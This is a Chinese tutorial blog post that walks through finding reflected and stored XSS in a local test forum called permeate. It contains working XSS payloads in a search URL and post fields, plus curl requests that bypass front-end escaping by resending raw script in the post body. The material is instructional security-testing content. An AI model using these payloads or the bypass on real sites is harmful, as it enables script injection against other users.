Web安全系列（三）：XSS 攻击进阶（挖掘漏洞）

在前些章节 （web安全系列（一）：XSS 攻击基础及原理） 以及 （Web安全系列（二）：XSS 攻击进阶（初探 XSS Payload）） 中，我详细介绍了 XSS 形成的原理以及 XSS 攻击的分类，并且编写了一个小栗子来展示出 XSS Payload 的危害。

目前来说，XSS 的漏洞类型主要分为三类：反射型、存储型、DOM型，在本篇文章当中会以 permeate 生态测试系统为例，分析网站功能，引导攻击思路，帮助读者能够快速找出网站可能存在的漏洞。

反射型 XSS 挖掘

现在笔者需要进行手工XSS漏洞挖掘，在手工挖掘之前笔者需要先逛逛网站有哪些功能点，如下图是 permeate 的界面

思路分析

我们知道反射型 XSS ，大多是通过 URL 传播的，那么我就需要思考哪些地方会出现让 URL 地址的参数在页面中显示，我相信大部分读者脑中第一直觉就是搜索栏，尤其是一些大型网站的站内搜索，搜索的关键词会展示在当前的页面中。例如某搜索引擎：

而在我们测试的首页也有网站搜索功能，因此我们可以从搜索功能着手测试，尝试是否可以进行 XSS Payload，我们先输入一个简单的 Payload 进行测试，测试代码为 <img onerror="alert(1)" src=1 />

当我们点击搜索按钮时，URL 应当自动改变为 http://localhost:8888/home/search.php?keywords=<img onerror="alert(1)" src=1 />

操作过程

我们进行尝试：

先输入搜索内容

再进行搜索

我们发现，Google Chrome 居然直接阻止了该事件，Payload 也没有进行触发，这里我就需要跟读者说一下了，Chrome 浏览器的内核自带 XSS 筛选器，对于反射型 XSS 会自动进行拦截，所以尽量不要用 Chrome 进行测试，我们改用火狐继续进行测试：

果然，直接触发了我们的 Payload 。

结果分析

此 Payload 被触发，说明我们找到了一个反射型 XSS 的漏洞，当然，这种漏洞非常初级，绝大部分网站都进行了过滤操作，再加上随着浏览器功能越来越强大，浏览器自带的 XSS 筛选器变得更加智能，这种漏洞会越来越少见，下面我将会测试更为常见的存储型 XSS 的挖掘与并介绍如何绕过。

存储型 XSS 挖掘

思路分析

存储型 XSS 的攻击代码是存在服务器端，因此，我们需要找到该网站将数据存储到后端的功能，我们对此网站有了一定了解，会发现 permeate 拥有发帖和回帖功能，这正是 Web 端和后台进行沟通的渠道，所有帖子信息都会存在服务端，有了这些信息，我们可以进入板块，进行发帖操作：

进入发帖界面：

检测漏洞

我们现在标题和内容里填上初级的 Payload ： 123<script>alert('123')</script>

我们进行发表操作：

页面直接执行了我们的 Payload，我们点完确定，查看列表：

我们进入帖子内部，会发现如下场景：

很明显，文章主体部分的 Payload 并没有执行，这到底是怎么一回事呢？

抓包

为什么标题内容可以 Payload，主体内容不能 Payload 呢，我们打开控制台，切到 Network 再来发一篇帖子看看：

我们可以看到对应的内容已经经过转义，转义分为两种，前端转义和后端转义，如果是后端转义通常我们就不需要测试下去了，因为我们不知道服务端的内部代码，如果是前端转义则可以绕过这个限制。

那么该如何操作呢？

我们拷贝出 URL

curl 'http://localhost:8888/home/_fatie.php?bk=5&zt=0' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://localhost:8888' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://localhost:8888/home/fatie.php?bk=5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: PHPSESSID=7690435026da386df8a80e63f3da2089' --data 'csrf_token=9191&bk=5&title=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E&content=%3Cp%3E123%26lt%3Bscript%26gt%3Bconsole.log%28232%29%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E' --compressed

找到其中的 title 和 content，将 content 的内容替换为 title 的内容：

curl 'http://localhost:8888/home/_fatie.php?bk=5&zt=0' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://localhost:8888' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://localhost:8888/home/fatie.php?bk=5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: PHPSESSID=7690435026da386df8a80e63f3da2089' --data 'csrf_token=9191&bk=5&title=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E&content=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E' --compressed

替换完成之后，将此内容复制到终端进行运行：

回到主页面查看相关内容：

Payload 执行了两次，内容也被攻击了。

结果分析

看到此处说明我们已经成功绕过前端XSS过滤器，直接对内容进行修改，所以后端的转义有时候也很有必要。

总结

挖掘漏洞是一个复杂的过程，手工挖掘不失为一种可靠的方式，但是手动挖掘效率低下，有时还要看运气，目前已经出现很多自动检测 XSS 漏洞的 工具 以及平台，大大提高发现漏洞的效率，我将在稍后的章节中介绍一些工具以及如何防御 XSS。